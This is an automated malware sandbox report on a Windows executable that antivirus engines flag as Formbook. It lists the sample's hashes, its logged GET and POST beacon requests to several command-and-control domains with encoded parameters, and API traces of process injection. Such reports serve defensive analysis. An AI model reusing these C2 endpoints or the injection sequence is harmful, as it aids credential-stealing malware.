popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

vbc.exe

Malicious Library UPX PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Dec. 8, 2022, 10:31 a.m. Dec. 8, 2022, 10:33 a.m.
Size 334.4KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 2b087c00777a630a4100c122f4687783
SHA256 12a921f6abb929d4f8b28924868dcc468299e44745c37db3aa7e4ac9bfe38869
CRC32 35AD074C
ssdeep 6144:QBn1W74u851+xu+La/EZ4sAR7Im/VvQgUJ5IBjiIQ1XhXXMaXTEZ2iaH4hY:gW7OgxLLaE2R7IwY5MjinzEoPHKY
Yara
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • UPX_Zero - UPX packed file

Suricata Alerts

Flow SID Signature Category
TCP 155.159.61.221:80 -> 192.168.56.101:49176 2400012 ET DROP Spamhaus DROP Listed Traffic Inbound group 13 Misc Attack

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.eufidelizo.com/henz/?8pdL3zD=wcp3urA+/rGtUuNVdzf16ZeZGpZq4XGXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqWKQvjoVWw+U5Y7ODGkonKNL7W0=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.lyonfinancialusa.com/henz/?8pdL3zD=I97X75yj3reE70KD0H/Cak1oo2zHy9G/KKFZ2xPoakAfOE75REIsiEdUspxqeb3/DlFpoh36cAjqvl85DwXllB7WLme1uHpNnCumkME=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.afterdarksocial.club/henz/?8pdL3zD=8TptbrIX6F4NxrWdTnVKCiNdtmXGEuELv5cUeaX5N5UPFd9Hxy/eCwrx8CSqMIuqYtp16J6ah9tFi3/97BblSlVnUMukTQJmI59ItyY=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.patrickguarte.com/henz/?8pdL3zD=5p9Ov6C7qce51hIp6nkbqV/d59cDddN77lLEFw6Ufibk2yN56suGmW9SnR2oT5DaW1POG/xMOeVc/Muqlx89dGklgcJInIpBk29/OFI=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.brennancorps.info/henz/?8pdL3zD=P4ST2IJPckjMYpRf2hTG7XGyBDGAy7OOggEf6mHPhnME1yGBMW0exDItYRA37f+XnLyPH15dACF6dKWBGe8FrnsbvwR+k5hXy5NlDxw=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.lopezmodeling.com/henz/?8pdL3zD=dpH6BKfQQ0cm5ImeofuKRskABJrBNfLp0vSyI4bn1RZjePkdeS9a/FiQgEdxlvmzsB0l+sQcpRgj8HqvSEXtkBUtM/7b2ek1qpGMuFI=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.foxwhistle.com/henz/?8pdL3zD=jIhXpQA4pSG2yYWBbTjo4KjMDsvsQ9F5uiLrR0YNz1ez7r/FQUV2XPmUrykxRWDvkt62w03aCUUodajM6m+91s+tfqSr6z5AiriQQhU=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.phootka.ru/henz/?8pdL3zD=w1bwPjtuf2ZlKfJJwO+BTMATo3IZhxYr0xwxA7aVeAjkl5kFf+SBsbPh/8ORAg46rPRxP2SAJydpY5hX47JJGDyZCrebhSML6UzwAv0=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.courdak.info/henz/?8pdL3zD=vdyVzLcxoZUoogW6+NKMfwQ5LAGTMZCWuq0zGM5B+O39UoDsvg/hobD3JDgVlVzjVFZes90R2RhtZev/AI+f5OQ7oLMklDSyOnM4EYU=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.automotiveparts-store.com/henz/?8pdL3zD=l755dn3SV1HJ85bgdYLXX0FitE0O++oBuxO/p/rOD3cyNdqLfUPJLAMkl1O9xhY/fGSw1luYDYlS6H/677nep41+QBgryFqg6K8ooWg=&3f_X2=Q2JhLx4h0JC
suspicious_features GET method with no useragent header suspicious_request GET http://www.seufi.com/henz/?8pdL3zD=IBGzHMg16oJNSPrzw250+MvRfpuZJ+UNeLGkgBGOsROhXn3QAnT7j8xX9Jlog+RFk3dGiXHpM08k153fm/VBkqw4m0Htf2ZTok+naIQ=&3f_X2=Q2JhLx4h0JC
request GET http://www.eufidelizo.com/henz/?8pdL3zD=wcp3urA+/rGtUuNVdzf16ZeZGpZq4XGXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqWKQvjoVWw+U5Y7ODGkonKNL7W0=&3f_X2=Q2JhLx4h0JC
request GET http://www.sqlite.org/2021/sqlite-dll-win32-x86-3340000.zip
request GET http://www.sqlite.org/2022/sqlite-dll-win32-x86-3390000.zip
request POST http://www.lyonfinancialusa.com/henz/
request GET http://www.lyonfinancialusa.com/henz/?8pdL3zD=I97X75yj3reE70KD0H/Cak1oo2zHy9G/KKFZ2xPoakAfOE75REIsiEdUspxqeb3/DlFpoh36cAjqvl85DwXllB7WLme1uHpNnCumkME=&3f_X2=Q2JhLx4h0JC
request POST http://www.afterdarksocial.club/henz/
request GET http://www.afterdarksocial.club/henz/?8pdL3zD=8TptbrIX6F4NxrWdTnVKCiNdtmXGEuELv5cUeaX5N5UPFd9Hxy/eCwrx8CSqMIuqYtp16J6ah9tFi3/97BblSlVnUMukTQJmI59ItyY=&3f_X2=Q2JhLx4h0JC
request POST http://www.patrickguarte.com/henz/
request GET http://www.patrickguarte.com/henz/?8pdL3zD=5p9Ov6C7qce51hIp6nkbqV/d59cDddN77lLEFw6Ufibk2yN56suGmW9SnR2oT5DaW1POG/xMOeVc/Muqlx89dGklgcJInIpBk29/OFI=&3f_X2=Q2JhLx4h0JC
request POST http://www.brennancorps.info/henz/
request GET http://www.brennancorps.info/henz/?8pdL3zD=P4ST2IJPckjMYpRf2hTG7XGyBDGAy7OOggEf6mHPhnME1yGBMW0exDItYRA37f+XnLyPH15dACF6dKWBGe8FrnsbvwR+k5hXy5NlDxw=&3f_X2=Q2JhLx4h0JC
request POST http://www.lopezmodeling.com/henz/
request GET http://www.lopezmodeling.com/henz/?8pdL3zD=dpH6BKfQQ0cm5ImeofuKRskABJrBNfLp0vSyI4bn1RZjePkdeS9a/FiQgEdxlvmzsB0l+sQcpRgj8HqvSEXtkBUtM/7b2ek1qpGMuFI=&3f_X2=Q2JhLx4h0JC
request POST http://www.foxwhistle.com/henz/
request GET http://www.foxwhistle.com/henz/?8pdL3zD=jIhXpQA4pSG2yYWBbTjo4KjMDsvsQ9F5uiLrR0YNz1ez7r/FQUV2XPmUrykxRWDvkt62w03aCUUodajM6m+91s+tfqSr6z5AiriQQhU=&3f_X2=Q2JhLx4h0JC
request POST http://www.phootka.ru/henz/
request GET http://www.phootka.ru/henz/?8pdL3zD=w1bwPjtuf2ZlKfJJwO+BTMATo3IZhxYr0xwxA7aVeAjkl5kFf+SBsbPh/8ORAg46rPRxP2SAJydpY5hX47JJGDyZCrebhSML6UzwAv0=&3f_X2=Q2JhLx4h0JC
request POST http://www.courdak.info/henz/
request GET http://www.courdak.info/henz/?8pdL3zD=vdyVzLcxoZUoogW6+NKMfwQ5LAGTMZCWuq0zGM5B+O39UoDsvg/hobD3JDgVlVzjVFZes90R2RhtZev/AI+f5OQ7oLMklDSyOnM4EYU=&3f_X2=Q2JhLx4h0JC
request POST http://www.automotiveparts-store.com/henz/
request GET http://www.automotiveparts-store.com/henz/?8pdL3zD=l755dn3SV1HJ85bgdYLXX0FitE0O++oBuxO/p/rOD3cyNdqLfUPJLAMkl1O9xhY/fGSw1luYDYlS6H/677nep41+QBgryFqg6K8ooWg=&3f_X2=Q2JhLx4h0JC
request POST http://www.seufi.com/henz/
request GET http://www.seufi.com/henz/?8pdL3zD=IBGzHMg16oJNSPrzw250+MvRfpuZJ+UNeLGkgBGOsROhXn3QAnT7j8xX9Jlog+RFk3dGiXHpM08k153fm/VBkqw4m0Htf2ZTok+naIQ=&3f_X2=Q2JhLx4h0JC
request POST http://www.lyonfinancialusa.com/henz/
request POST http://www.afterdarksocial.club/henz/
request POST http://www.patrickguarte.com/henz/
request POST http://www.brennancorps.info/henz/
request POST http://www.lopezmodeling.com/henz/
request POST http://www.foxwhistle.com/henz/
request POST http://www.phootka.ru/henz/
request POST http://www.courdak.info/henz/
request POST http://www.automotiveparts-store.com/henz/
request POST http://www.seufi.com/henz/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4001792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02210000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01d60000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 188416
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00401000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\rbygg.exe
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2652 called NtSetContextThread to modify thread in remote process 2716
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 1995571652
registers.esp: 5504396
registers.edi: 0
registers.eax: 4199088
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000000ec
process_identifier: 2716
1 0 0
MicroWorld-eScan Gen:Variant.Jaik.107269
FireEye Generic.mg.2b087c00777a630a
ALYac Gen:Variant.Jaik.107269
Cylance Unsafe
Cybereason malicious.8bea9d
Arcabit Trojan.Jaik.D1A305
Cyren W32/Garf.PUDK-6767
Symantec ML.Attribute.HighConfidence
Elastic malicious (high confidence)
APEX Malicious
Kaspersky UDS:Trojan.Win32.Formbook.akd
BitDefender Gen:Variant.Jaik.107269
Ad-Aware Gen:Variant.Jaik.107269
Emsisoft Gen:Variant.Jaik.107269 (B)
VIPRE Gen:Variant.Jaik.107269
McAfee-GW-Edition BehavesLike.Win32.ICLoader.fc
Sophos Generic ML PUA (PUA)
Ikarus Backdoor.Remcos
Google Detected
Antiy-AVL Trojan/NSIS.Formbook.a
Microsoft TrojanSpy:Win32/Swotter.A!bit
GData Gen:Variant.Jaik.107269
Cynet Malicious (score: 100)
MAX malware (ai score=81)
Rising Trojan.Generic@AI.88 (RDML:ADcM8UJLgag9KiyywECGsw)
SentinelOne Static AI - Suspicious PE
Fortinet W32/Injector.ESDK!tr
BitDefenderTheta Gen:NN.ZexaF.36106.quW@aObd7iji